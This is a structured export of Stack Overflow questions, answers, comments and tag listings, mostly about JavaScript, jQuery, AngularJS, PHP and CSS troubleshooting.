has text: JSFiddle does not support node. There are similar services that do support node but I guess its easier to discuss over a github repo : https://github.com/lonesword/openmosaic

http://stackoverflow.com/a/25580558
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25580549
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25580549
has comment: http://stackoverflow.com/comment/39953526
upvote count: 2
has body: Use count_chars Counts the number of occurrences of every byte-value (0..255) in string and returns it in various ways. Example taken straight from PHP.net &lt;?php $data = "Two Ts and one F."; foreach (count_chars($data, 1) as $i =&gt; $val) { echo "There were $val instance(s) of \"" , chr($i) , "\" in the string.\n"; } ?&gt; You can use it to fulfil your second purpose very easily as well.

http://stackoverflow.com/comment/40095737
score: 0
has text: Its not kicking in when i write and in lower case so i need it to be case insensitive
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25648070

http://stackoverflow.com/comment/40020344
comment on: http://stackoverflow.com/a/25617186
type: Comment
has text: I do not want to open the URL for current domain, i have an external Url that i want to open in a new tab.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/58032205
score: 0
has text: On a side note: where is documented that you have to pass a raw query to the where of a generated get method instead of an object?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25690269

http://stackoverflow.com/comment/40091383
comment on: http://stackoverflow.com/q/25656182
type: Comment
type: QuestionComment
has text: Thanks Barmar. Am I handling the `thisProduct` variable properly? Be defining it in each event before I call the function?
score: 0

http://stackoverflow.com/q/25699257
has answer: http://stackoverflow.com/a/25699313
answer count: 1
linked to: http://stackoverflow.com/q/7967037
duplicate of: http://stackoverflow.com/q/7967037
tagged with: php
tagged with: node.js
accepted answer: http://stackoverflow.com/a/25699313
type: AnsweredQuestion
has title: Webpage automation using Node.js
tagged with: http://stackoverflow.com/tag/json
tagged with: mysql
type: Question
has body: I have an API in php which receives a 10 digit number as variable and returns some data in JSON format. Example URL : www.exampletest.com/index.php?number=8000000000 . The next variable is current number plus one. Ie, 8000000001 and so on.The sequence ends at 9999999999. And when each call is made, the output data returns in JSON format and it is written into MYSQL database. Everything seems to good up to this. Now my problem is for each "number", I have to make a call,ie, for 8000000000,8000000001...9999999999. My friend suggested me that using node is the right option. So can someone show me an example to automate calling my php API page using node.JS for each "Number" Variable?
tagged with: javascript
score: 0

http://stackoverflow.com/comment/40113195
comment on: http://stackoverflow.com/q/25629016
score: 0
type: Comment
type: QuestionComment
has text: are you waiting for the `deviceready` event to fire before trying this?

http://stackoverflow.com/comment/39955956
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25581838
has text: Check this older post http://stackoverflow.com/questions/5117421/how-to-load-images-dynamically-or-lazily-when-users-scrolls-them-into-view. One answer suggests the jQuery lazyload plugin which makes the images to load only when needed
score: 0

http://stackoverflow.com/comment/39960457
score: 0
type: Comment
has text: Then, how is `upl_kost()` being called, or is it not being called at all?
type: QuestionComment
comment on: http://stackoverflow.com/q/25584580

http://stackoverflow.com/comment/39990649
type: QuestionComment
has text: ?? In all 3 threads you got answers. Aswell you could easily google your header and you have 1000 solutions for your problem.
comment on: http://stackoverflow.com/q/25600976
score: 0
type: Comment

http://stackoverflow.com/comment/40056222
type: Comment
score: 1
has text: @levi - And also `$(that).attr("id")` can be reduced to simply `that.id` :) and don't forget to change `this.id.length` to `that.id.length`.
comment on: http://stackoverflow.com/a/25637016
type: AnswerComment

http://stackoverflow.com/a/25680484
answers question: http://stackoverflow.com/q/25680355
type: Answer
has body: Client-side you can't access the physical path. You can get the src attribute of the script tag though. Server-side you can get the physical path. For example (C#): Path.GetFullPath(path)
score: 0

http://stackoverflow.com/a/25762774
has comment: http://stackoverflow.com/comment/40382522
score: 1
has comment: http://stackoverflow.com/comment/40340326
has comment: http://stackoverflow.com/comment/40341887
has comment: http://stackoverflow.com/comment/40365166
answers question: http://stackoverflow.com/q/25707142
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25707142
type: Answer
upvote count: 1
has body: The reason for your problem is a strange behaviour of Firefox and Safari, thats clearly against the W3C specification of getComputedStyle() and should be reported as a bug. You have set the margin of your #content to: 0px auto. Thats a common way to center a blocklevel element with given width in its containing block. Browsers take the width of the parent, subtract the width of the the element and divide by two. The resulting value is is used for marginLeft and marginRight and should be returned as computedValue for both properties. After calculation the element gets rendered (correctly centered). But Firefox and Safari see the keyword auto and set computedStyle to 0px (the default value for auto) before doing calculation and rendering. Don't believe you can always rely on the values other browsers return. At that moment the parent or grandparent itself have some margin or padding or the boxSizing property is changed somewhere, they get confused and return wrong values even when the rendering is correct. If you try to detect such cases by looking for the (shorthand) property margin, you'll fail again: Firefox, InternetExplorer and Safari answere with silence (empty string). Chrome and Opera return the margin shorthand, but the values there are often different from what you get with marginLeft and marginRight. A workaround for marginLeft uses the difference between the left offset of the element and its parent (or its offset-parent, when element has position: 'absolute'). Refering to your code it looks like: $(document).ready(function () { var con = $("#content"), cpos = con.css('position'), par, w; if (cpos === 'static' || cpos === 'relative') par = con.parent(); else par = con.offsetParent(); w = con.offset().left - par.offset().left; $("#wrapper").css('width', w); }); I can not guarantee that it works in all usecases, but I havn't found problems until now. Working JSFiddle here. Now even Firefox and safari gets a width for the sidebar. Second JSFiddle. Here you ca…

http://stackoverflow.com/q/25554392
type: Question
has comment: http://stackoverflow.com/comment/39906887
tagged with: ssl
tagged with: javascript
has title: Google Hangout "insecure content" although files are 'https'
score: 0
has comment: http://stackoverflow.com/comment/39919642
tagged with: google-plus
type: UnansweredQuestion
has body: I followed this tutorial and have downloaded the exact same files (I adapted my url's): https://www.youtube.com/watch?v=Al4SbeVyLm4 When I want to start the hangout with the app my chrome console is saying me this: [blocked] The page at 'https://hangoutsapi.talkgadget.google.com/hangouts/_/g4iaptmji5625clcowcybzi3iua?authuser=0' was loaded over HTTPS, but ran insecure content from 'http://www.example.com/hangout-app-tut/helpdesk-sample.html?parent=https…wt-qr9MmqJHwh-acNDV9hK8zEUZmIWHE2QyIcB_nHj6AgDbXA1NNC44w1E984&amp;gd=50': this content should also be loaded over HTTPS. My server has a verified ssl certificate (test certificate) and is accessible by 'https'. All the url's specified in the different files are beginning with 'https', so I have no idea why this error is happening. I double-checked all files. Or is it because my website just runs on a 'test certificate', but I guess, this can not be the issue. Hope you can help me.
tagged with: google-hangouts
answer count: 0

http://stackoverflow.com/comment/51124920
comment on: http://stackoverflow.com/q/25582533
type: Comment
type: QuestionComment
score: 0
has text: try removing all dependencies and then add them one by one. May be this may help to figure out the exact issue.

http://stackoverflow.com/q/25703911
has body: I have an angularjs application that produces forms for lists of complex objects of the same structure. I wrote directives to create the html needed for editing them. So its basically just a However, I now want to add the possibility to reorder and delete each element in the list "elements" (and optionally add new ones) Because I didn't want to implement control and logic over and over again for each type, I wrote a directive "repeatPanels" that should be used together with ngRepeat. transforms the html to (see this Plunker) for a complete example) So it already wraps the html inside the ngRepeat inside a bootstrap panel, with buttons for deleting the element, and draggables for ui-sortable. However, I'm stuck at implementing the functionality for the delete button. All the html inside the ng-repeat uses the "original" scope, so defining functions in the scope of the repeatPanels directive will not work :-( For ui-sortable, I'm also not sure if simply adding the ui-sortable and ng-model attributes to the parent element of the original ng-repeat node work, or if there's more to do... Is there somebody who could point me in the right direction? Thanks! Florian
type: UnansweredQuestion
downvote count: 0
score: 1
type: Question
tagged with: javascript
upvote count: 1
answer count: 1
tagged with: angularjs-ng-repeat
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/35756540
has title: Create directive that wraps each list element inside a bootstrap panel with controls to delete, reorder, …
tagged with: twitter-bootstrap

http://stackoverflow.com/comment/39973969
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25591141
has text: Is it understandable what I want?

http://stackoverflow.com/comment/40035972
has text: @Nit the parse was in my original answer, he just copied it. His point was the chaining! Anyway, spot on!
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25625792
score: 1

http://stackoverflow.com/comment/40159535
has text: See my updated answer, and edit your question with the current code you have.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25692654

http://stackoverflow.com/q/25552519
has answer: http://stackoverflow.com/a/25552554
accepted answer: http://stackoverflow.com/a/25552554
has body: I am trying to generate a delete button in my PHP which will delete a row from the database on click. I would also like to throw a confirmation message via Javascript within this link but can't seem to figure out how to structure the code. Here is what I have so far: echo " id."' onclick='return confirm('are you sure?')'>Delete "; I am guessing the reason this isn't working is due to the double/single quotes. Can anyone tell me how I would format this properly? Thank you.
has comment: http://stackoverflow.com/comment/39900192
has comment: http://stackoverflow.com/comment/39900187
type: Question
has comment: http://stackoverflow.com/comment/39900159
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/39900182
score: 0
possible better answer: http://stackoverflow.com/a/25552619
has answer: http://stackoverflow.com/a/25552619
has title: Echoing Javascript within PHP?
tagged with: php
type: AnsweredQuestion

http://stackoverflow.com/comment/39980212
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25595273
score: 0
has text: this solutions isnt suitable for me, I have one more audio where I dont want change volume. I just added some changes on first post.And also I cant change volume of audio by attribut volume="float".

http://stackoverflow.com/comment/40122415
has text: The problem is that you need to have your images indexed numerically so a loop can be created to access them. Not only that, but you're not telling us if the table is created dynamically or not. Is the html already all there for the table?
comment on: http://stackoverflow.com/a/25651465
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/40248538
has text: Frank, I was already using the priority on the first table to fetch data in the required format and it works well before joining the two tables, after joining the data is messed up
comment on: http://stackoverflow.com/a/25712665
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/58466554
score: 3
has comment: http://stackoverflow.com/comment/106821432
has comment: http://stackoverflow.com/comment/106901407
answers question: http://stackoverflow.com/q/25588473
upvote count: 3
downvote count: 0
has body: function getAllDatesOfMonth(date) { const mDate = moment(date, "YYYY-MM"); const daysCount = mDate.daysInMonth(); return Array(daysCount).fill(null).map((v,index)=&gt;{ const addDays = index === 0 ? 0 : 1; return mDate.add(addDays, 'days').format('YYYY-MM-DD'); }); }
type: Answer

http://stackoverflow.com/comment/39981885
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25595734
has text: will try, gonna report back in an hour or so

http://stackoverflow.com/a/25645707
has comment: http://stackoverflow.com/comment/40073786
has comment: http://stackoverflow.com/comment/40074867
has comment: http://stackoverflow.com/comment/40075402
score: 0
has comment: http://stackoverflow.com/comment/40073140
accepted answer of: http://stackoverflow.com/q/25645379
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25645379
has comment: http://stackoverflow.com/comment/40074062
has body: It seems strange that your controller has to call method from directive. Could you provide more information of why you are doing this? It seems that you want to allow your controller and directives talk together. For that here is a couple of options. You may use events listeners like described in the Creating a Directive that Adds Event Listeners section of the doc if it is based on browser events You could use angular events to broadcast events. Finally you may want to adapt a parameter on your directive template saying that it is highlight. Edit based on the question edit: If you only need CSS change you may use the ng-class attribute on your directive like this: &lt;my-directive ng-class="{{ status }}"&gt;&lt;/my-directive&gt; Using an attribut you may do the following: link: function ($scope, $element, $attrs) { $attrs.$observe('color', function(color)){ var deferred = $q.defer(); $element.effect("highlight", { color: color }, 500); $element.find("span").css('color', '#000') .animate({ opacity: 0 }, 500, function () { $element.find("span").css('opacity', 1).css('color', '#fff') }); $timeout(deferred.resolve, 500); return deferred.promise; } And in your view: &lt;my-directive ng-attr-color="{{ color }}"&gt;&lt;/my-directive&gt; Or if you want a notification system you may refer to Angular UI Bootstrap alert (but I still can't see why you need several directives for your problem)
type: Answer
has comment: http://stackoverflow.com/comment/40074163
has comment: http://stackoverflow.com/comment/40075060
has comment: http://stackoverflow.com/comment/40072033

http://stackoverflow.com/q/25552125
has body: i'm converting csv file into json so i can use it in javascript. how i'm still new to php programing I google the ways to do that and i find following code to do it: $csv= file_get_contents($file); $array = array_map("str_getcsv", explode("\n", $csv)); json_encode($array); ?&gt; but does "str_getcsv" turns my array into string? so does that mean that i can't use values from that array later in javascript to manipulate them? what is the alternative? thx in advance
tagged with: javascript
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/39900176
possible better answer: http://stackoverflow.com/a/25552353
favorite count: 0
has answer: http://stackoverflow.com/a/25552336
has comment: http://stackoverflow.com/comment/39899774
has answer: http://stackoverflow.com/a/25552353
has title: how does "str_getcsv" works and what is alternative?
score: 0
upvote count: 1
tagged with: php
downvote count: 1
has comment: http://stackoverflow.com/comment/39899604
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39899885
accepted answer: http://stackoverflow.com/a/25552336
type: Question
answer count: 2

http://stackoverflow.com/a/25651981
downvote count: 0
score: 23
has body: Use gulp-flatten. var flatten = require('gulp-flatten'); gulp.src('./gulp-tmp/**/fonts/*') .pipe(flatten()) .pipe(gulp.dest('fonts'));
has comment: http://stackoverflow.com/comment/108164346
accepted answer of: http://stackoverflow.com/q/25651264
answers question: http://stackoverflow.com/q/25651264
type: AcceptedAnswer
upvote count: 23
type: Answer

http://stackoverflow.com/q/25654178
has comment: http://stackoverflow.com/comment/40087565
score: 2
downvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/40087590
type: Question
upvote count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40087707
has title: How to return array from javascript call in java?
has comment: http://stackoverflow.com/comment/40087792
has comment: http://stackoverflow.com/comment/40087681
answer count: 1
tagged with: scripting
has answer: http://stackoverflow.com/a/25654404
has comment: http://stackoverflow.com/comment/40087741
favorite count: 0
type: UnansweredQuestion
has body: I have the following in a js file: function serialize() { return new Uint8Array(1024); } I invoke that function with the java scripting api like so: byte[] bytes = (byte[]) ((Invocable)engine).invokeFunction(SERIALIZE_FUNC); Which immediately throws the exception: javax.script.ScriptException: sun.org.mozilla.javascript.internal.EcmaError: ReferenceError: "Uint8Array" is not defined. (&lt;Unknown source&gt;#1) in &lt;Unknown source&gt; at line number 1 sun.org.mozilla.javascript.internal.EcmaError: ReferenceError: "Uint8Array" is not defined. (&lt;Unknown source&gt;#1) I dont know much about javascript, but I thought this is how you define an array in JavaScript?
has comment: http://stackoverflow.com/comment/40087638

http://stackoverflow.com/comment/40497553
comment on: http://stackoverflow.com/a/25675795
score: 0
type: AnswerComment
type: Comment
has text: Well, `BR.img` holds a reference to the one image that BR is currently assigned to. So in your closebutton click handler you could use `BR.img` to close the desired image. ;-)

ajax
tags question: http://stackoverflow.com/q/25598811
tags question: http://stackoverflow.com/q/25685578
tags question: http://stackoverflow.com/q/25626294
tags question: http://stackoverflow.com/q/25709805
tags question: http://stackoverflow.com/q/25582007
tags question: http://stackoverflow.com/q/25673258
tags question: http://stackoverflow.com/q/25678507
tags question: http://stackoverflow.com/q/25645546
tags question: http://stackoverflow.com/q/25613616
tags question: http://stackoverflow.com/q/25599305
tags question: http://stackoverflow.com/q/25623072
tags question: http://stackoverflow.com/q/25552820
tags question: http://stackoverflow.com/q/25664568
tags question: http://stackoverflow.com/q/25629254
tags question: http://stackoverflow.com/q/25691079
tags question: http://stackoverflow.com/q/25580976
tags question: http://stackoverflow.com/q/25583976
tags question: http://stackoverflow.com/q/25596908
tags question: http://stackoverflow.com/q/25678014
tags question: http://stackoverflow.com/q/25625142
tags question: http://stackoverflow.com/q/25586697
tags question: http://stackoverflow.com/q/25682744
tags question: http://stackoverflow.com/q/25627282
tags question: http://stackoverflow.com/q/25609842
tags question: http://stackoverflow.com/q/25663921
tags question: http://stackoverflow.com/q/25566074
tags question: http://stackoverflow.com/q/25617674
tags question: http://stackoverflow.com/q/25689297
tags question: http://stackoverflow.com/q/25638558
tags question: http://stackoverflow.com/q/25638661
tags question: http://stackoverflow.com/q/25645640
tags question: http://stackoverflow.com/q/25652898
tags question: http://stackoverflow.com/q/25676851
tags question: http://stackoverflow.com/q/25588984
tags question: http://stackoverflow.com/q/25654468
tags question: http://stackoverflow.com/q/25641746
tags question: http://stackoverflow.com/q/25686592
tags question: http://stackoverflow.com/q/25564201
tags question: http://stackoverflow.com/q/25677789
tags question: http://stackoverflow.com/q/25652794
tags question: http://stackoverflow.com/q/25589146
tags question: http://stackoverflow.com/q/25591794
tags question: http://stackoverflow.com/q/25678942
tags question: http://stackoverflow.com/q/25703788
tags question: http://stackoverflow.com/q/25595054
tags question: http://stackoverflow.com/q/25648511
tags question: http://stackoverflow.com/q/25553305
tags question: http://stackoverflow.com/q/25603412
tags question: http://stackoverflow.com/q/25612480
tags question: http://stackoverflow.com/q/25657480
tags question: http://stackoverflow.com/q/25638966
tags question: http://stackoverflow.com/q/25600978
type: Tag
tags question: http://stackoverflow.com/q/25696607
tags question: http://stackoverflow.com/q/25607582
tags question: http://stackoverflow.com/q/25689661
tags question: http://stackoverflow.com/q/25663388
tags question: http://stackoverflow.com/q/25626966
tags question: http://stackoverflow.com/q/25681189
tags question: http://stackoverflow.com/q/25651684
tags question: http://stackoverflow.com/q/25680513
tags question: http://stackoverflow.com/q/25600021
tags question: http://stackoverflow.com/q/25668179
tags question: http://stackoverflow.com/q/25637434
tags question: http://stackoverflow.com/q/25599238
tags question: http://stackoverflow.com/q/25606641
tags question: http://stackoverflow.com/q/25626085
tags question: http://stackoverflow.com/q/25551155
tags question: http://stackoverflow.com/q/25632954
tags question: http://stackoverflow.com/q/25651172
tags question: http://stackoverflow.com/q/25576010
tags question: http://stackoverflow.com/q/25611896
tags question: http://stackoverflow.com/q/25703012
tags question: http://stackoverflow.com/q/25616150
tags question: http://stackoverflow.com/q/25647936
tags question: http://stackoverflow.com/q/25607241
tags question: http://stackoverflow.com/q/25604620
tags question: http://stackoverflow.com/q/25603172
tags question: http://stackoverflow.com/q/25672866
tags question: http://stackoverflow.com/q/25687068

http://stackoverflow.com/a/25658410
has comment: http://stackoverflow.com/comment/40096344
has comment: http://stackoverflow.com/comment/40096779
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40097230
has comment: http://stackoverflow.com/comment/40096417
upvote count: 2
has body: You're on the right track. The $().get() method returns the element. In your case var a is the TR. That's not necessarily what you want. What you need to do is further subdivide each row into the individual TD's. I did this using $(this).find('td'). Then, I grab each TD 1 by 1 and extract the text out of it, converting that into an object where the key represents the field of the table. All of these are aggregated into an array, but you can use the basic concept to build whatever data structure you see fit to utilize. request('http://www.inc.com/inc5000/index.html', function (error, response, html) { if(error || response.statusCode != 200) return; var $ = cheerio.load(html); var DATA = []; $('tr.ng-scope').each(function(){ var $tds = $(this).find('td'); DATA.push({ rank: $tds.eq(0).text(), company: $tds.eq(1).text(), growth: $tds.eq(2).text(), revenue: $tds.eq(3).text(), industry: $tds.eq(4).text() }); }); console.log(DATA); });
has comment: http://stackoverflow.com/comment/40096065
answers question: http://stackoverflow.com/q/25658217
has comment: http://stackoverflow.com/comment/40097268
type: Answer

http://stackoverflow.com/comment/40087275
type: QuestionComment
score: 0
has text: Which function expression are you talking about - the one inside, with just the `alert()` call, or the one outside?
type: Comment
comment on: http://stackoverflow.com/q/25654047

http://stackoverflow.com/comment/40210308
comment on: http://stackoverflow.com/a/25694452
score: 0
type: AnswerComment
has text: Just to be clear, 75k without tooltip works quite fast: http://jsfiddle.net/az37W/17/ - less than 1sec. And with tooltip: http://jsfiddle.net/az37W/22/ - 12sec (of course, depends on pc, as you said, but your example took me 45secs to render?).
type: Comment

http://stackoverflow.com/comment/39962152
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25583612
has text: thanks) by the way, your td.innerText did not work for me, i had to change it to td.innerHTML. you can update your answer to make it even better)

http://stackoverflow.com/comment/40065835
type: QuestionComment
comment on: http://stackoverflow.com/q/25642491
has text: Jquery libraries conflicts with other libraries, so use default library which is used in your yii version
score: 0
type: Comment

http://stackoverflow.com/comment/40261539
type: AnswerComment
has text: Also I checked today and when I open the editform for a previously checked cell it shows todays date not the actual date that it was checked. Ex. Checked date was 9/8/2014 but in edit form it shows today's date, 9/9/2014
comment on: http://stackoverflow.com/a/25730981
type: Comment
score: 0

http://stackoverflow.com/q/25620341
has comment: http://stackoverflow.com/comment/40026423
type: Question
has comment: http://stackoverflow.com/comment/40029563
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
tagged with: cdn
has body: When I add this code part to my ASP.net project I got error says "Microsoft JScript runtime error: '$' is undefined". Since I'm using CDN for js files hope I dont need to js reference files to my project.
tagged with: asp.net
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40026855
answer count: 0
has title: Microsoft JScript runtime error: '$' is undefined even I have added CDN ref
linked to: http://stackoverflow.com/q/14354040

http://stackoverflow.com/comment/40156034
has text: I typically just force a blur event on all form elements onSubmit -
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25691947
type: Comment

http://stackoverflow.com/comment/40156800
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25692413
has text: @TusharGupta shouldn't matter, `ready()` handles that.
score: 0

http://stackoverflow.com/q/25648291
has body: I tried for hours now and cannot figure this one out... I added some kind of jQuery-UI accordion-style-effect to DataTables to display divs inside child rows. So when you click a row the child is added and the div expands, if you click the same row, the div hides with an animation and the child is removed. If you click on another row while a child is open the first child div is hidden and then the first child is removed and then the new child gets added and the div shown. This works fine on each page. But if I switch pages the first child isn't removed. I have this code: var openschoolingschild = "nothing"; //Variable to store css-id of row which has an open child var openschoolingsrow = ""; //Variable to store which row has a child $('#training_management_schoolings_items_table tbody').on('click', 'tr', function () { var tr = $(this).closest('tr'); var row = oTable.row( tr ); var thisid = $(this).attr('id'); $('#training_management_schoolings_items_table tbody tr').removeClass('shown'); if ( row.child.isShown() ) { $('#'+thisid+'_details').hide("blind",300,function(){ row.child.remove(); tr.removeClass('shown'); }); openschoolingschild = "nothing"; openschoolingsrow =""; } else { if (openschoolingschild != "nothing") { $('#'+openschoolingschild+'_details').hide("blind",300,function(){ $("#"+openschoolingschild).removeClass('shown'); openschoolingsrow.child.remove(); }); row.child( training_management_details(thisid) , "training_management_schoolings_table_child" ).show(); tr.addClass('shown'); $('#'+thisid+'_details').show("blind",300,function(){ openschoolingschild = thisid; openschoolingsrow = row; preventcollapse(); }); } else { row.child( training_management_details(thisid), "training_management_schoolings_table_child" ).show(); tr.addClass('shown'); $('#'+thisid+'_details').show("blind",300,function(){ preventcollapse(); openschoolingschild = tr.attr('id'); openschoolingsrow = row; }); } } }); The jQuery-on-part is executed within the DataTables init.DT-callba…
downvote count: 0
has answer: http://stackoverflow.com/a/25753989
accepted answer: http://stackoverflow.com/a/25753989
type: Question
has comment: http://stackoverflow.com/comment/40271673
tagged with: javascript
tagged with: jquery
upvote count: 3
tagged with: http://stackoverflow.com/tag/html
tagged with: datatables
answer count: 1
favorite count: 0
has title: DataTables remove child on another page
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40244959

http://stackoverflow.com/q/25651476
tagged with: navigation
type: Question
has answer: http://stackoverflow.com/a/50794594
has answer: http://stackoverflow.com/a/46653690
has answer: http://stackoverflow.com/a/33032906
tagged with: javascript
answer count: 6
tagged with: jquery
has comment: http://stackoverflow.com/comment/40083187
upvote count: 4
has title: Use a logo with SlickNav
has answer: http://stackoverflow.com/a/25672546
score: 3
favorite count: 0
has answer: http://stackoverflow.com/a/38262621
has answer: http://stackoverflow.com/a/32282116
type: UnansweredQuestion
tagged with: slicknav
has body: I've been able to successfully implement SlickNav into my site using the suggested markup: %nav #logo = link_to 'index.html#top' do = image_tag "logo.png" %ul#menu %li = link_to "ONE", "#1" %li = link_to "TWO", "#2" %li = link_to "THREE", "#3" %li = link_to "FOUR", "#4" At a certiain breakpoint, it hides the nav then displays the SlickNav - all good. Where I'm stuck is that in the code that's outputted, it displays .slicknav_menu above everything else (just under the body) and I'm not sure where in the .js I can inclye a div for the logo? ONE TWO THREE FOUR Desired effect: http://oi60.tinypic.com/2egcpky.jpg
has comment: http://stackoverflow.com/comment/40082344
downvote count: 1

http://stackoverflow.com/comment/40182319
type: QuestionComment
score: 1
has text: *"My JQuery plugin is getting this fired as C:foo.filename"* What does that mean exactly? How are you getting the ID? What are you doing with it? If I use as much jQuery as possible, I still get the ID correctly: http://jsfiddle.net/7eut3ujp/. Without more info (and code), we can't really help you. I can only tell you that jQuery is not manipulating IDs.
comment on: http://stackoverflow.com/q/25706301
type: Comment

http://stackoverflow.com/a/25668814
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/40113773
has comment: http://stackoverflow.com/comment/40114271
has body: Is this updated Fiddle this what you're looking for? HTML: .one { float: left; width: 50px; background-color: lightblue; } .two { float: left; width: 50px; background-color: pink; } .oneone { float: left; width: 50px; background-color: orange; } .onetwo { float: left; width: 50px; background-color: lightgreen; } &lt;div class="one"&gt; &lt;div class="oneone"&gt; oneone &lt;p&gt; again &lt;/div&gt; &lt;div class="onetwo"&gt; onetwo &lt;p&gt; again &lt;/div&gt; &lt;/div&gt; &lt;div class="two"&gt; two &lt;p&gt; etfgb &lt;p&gt; sfsd &lt;/div&gt; update Check the updated Fiddle in the top of my answer.
answers question: http://stackoverflow.com/q/25668548
score: -1
has comment: http://stackoverflow.com/comment/40114087
downvote count: 1
has comment: http://stackoverflow.com/comment/40113653

http://stackoverflow.com/q/25691362
has body: I have been looking at a lot of examples on how to accomplish this but cannot get it to work. I just want to put a simple if statement within my javascript, and when I add the if, it breaks? I am getting test to report true when checked, and false when unchecked, so what am I missing? - Novice user, so if this a convoluted way to do this, I apologize. NOT WORKING: &lt;script&gt; $('input[name="1"]').click(function() { var test = $(this).prop('checked'); //{ if(test == "true") { var alert_id = $(this).val(); var key = $('#key').val(); $.ajax({ type: "POST", url: "functions/database_write.php", data: "id1="+alert_id+"&amp;key="+key+"&amp;test="+test, success: function(resp){ $( ".pop-div" ).slideDown(100,"linear"); setTimeout(function(){ $( ".pop-div" ).slideUp(100,"linear"); }, 1000); //alert(resp); }, error: function(e){ alert('Error: ' + e); } } }) }); &lt;/script&gt; But works, but with every click when the function is written like: &lt;script&gt; $('input[name="1"]').click(function() { var test = $(this).prop('checked'); //{ //if(test == "true") //{ var alert_id = $(this).val(); var key = $('#key').val(); $.ajax({ type: "POST", url: "functions/database_write.php", data: "id1="+alert_id+"&amp;key="+key+"&amp;test="+test, success: function(resp){ $( ".pop-div" ).slideDown(100,"linear"); setTimeout(function(){ $( ".pop-div" ).slideUp(100,"linear"); }, 1000); //alert(resp); }, error: function(e){ alert('Error: ' + e); } //} }) }); &lt;/script&gt;
has answer: http://stackoverflow.com/a/25691495
type: AnsweredQuestion
score: 1
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/40154851
downvote count: 1
has answer: http://stackoverflow.com/a/25691426
accepted answer: http://stackoverflow.com/a/25691426
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25691491
has title: Checkbox - run only if checked jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25691491
answer count: 4
has answer: http://stackoverflow.com/a/25691405

http://stackoverflow.com/comment/40074900
has text: $.parseNumber(str, {format:"#,###", locale:"in"}); haven't helped for '३,५००'
comment on: http://stackoverflow.com/q/25645163
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39920382
score: 0
type: QuestionComment
type: Comment
has text: have u try .unbind()? instead of .off().
comment on: http://stackoverflow.com/q/25563249

http://stackoverflow.com/a/25621136
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25620836
type: Answer
has body: Use the array.prototype.filter() method to return a new array containing only those elements passing a Boolean test. function isBigEnough(element) { return element &gt;= 10; } var filtered = [12, 5, 8, 130, 44].filter(isBigEnough); Returns a new array [12, 130, 44]. Along with array.prototype.map() and array.prototype.reduce() array.prototype.filter() facilitates using a functional programming style in JavaScript.

http://stackoverflow.com/q/25708472
has answer: http://stackoverflow.com/a/38494806
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
has body: I'm using csrfMagic as an automatic CSRF protection for my project. when I include the script in my project XMLHTTPRequest events don't work. for example 'onprogress' event is not triggered. my code: var xhr = new XMLHttpRequest() xhr.open("POST", "./"); xhr.onreadystatechange = function (e) { //some code } xhr.upload.onprogress = function (e) { //this event is not triggered console.log('xhr.upload.onprogress was triggerd'); } csrfMagic script: /** * @file * * Rewrites XMLHttpRequest to automatically send CSRF token with it. In theory * plays nice with other JavaScript libraries, needs testing though. */ // Here are the basic overloaded method definitions // The wrapper must be set BEFORE onreadystatechange is written to, since // a bug in ActiveXObject prevents us from properly testing for it. CsrfMagic = function(real) { // try to make it ourselves, if you didn't pass it if (!real) try { real = new XMLHttpRequest; } catch (e) {;} if (!real) try { real = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) {;} if (!real) try { real = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) {;} if (!real) try { real = new ActiveXObject('Msxml2.XMLHTTP.4.0'); } catch (e) {;} this.csrf = real; // properties var csrfMagic = this; real.onreadystatechange = function() { csrfMagic._updateProps(); return csrfMagic.onreadystatechange ? csrfMagic.onreadystatechange() : null; }; csrfMagic._updateProps(); } CsrfMagic.prototype = { open: function(method, url, async, username, password) { if (method == 'POST') this.csrf_isPost = true; // deal with Opera bug, thanks jQuery if (username) return this.csrf_open(method, url, async, username, password); else return this.csrf_open(method, url, async); }, csrf_open: function(method, url, async, username, password) { if (username) return this.csrf.open(method, url, async, username, password); else return this.csrf.open(method, url, async); }, send: function(data) { if (!this.csrf_isPost) return this.csrf_send(data); prepend = csrfMagicName + '=' …
tagged with: ajax
has title: csrfMagic prevent XMLHTTPRequest events from being executed
type: Question
tagged with: xmlhttprequest
answer count: 1
score: 0

http://stackoverflow.com/comment/39912404
type: QuestionComment
has text: Event
comment on: http://stackoverflow.com/q/25558812
score: 0
type: Comment

http://stackoverflow.com/comment/40144843
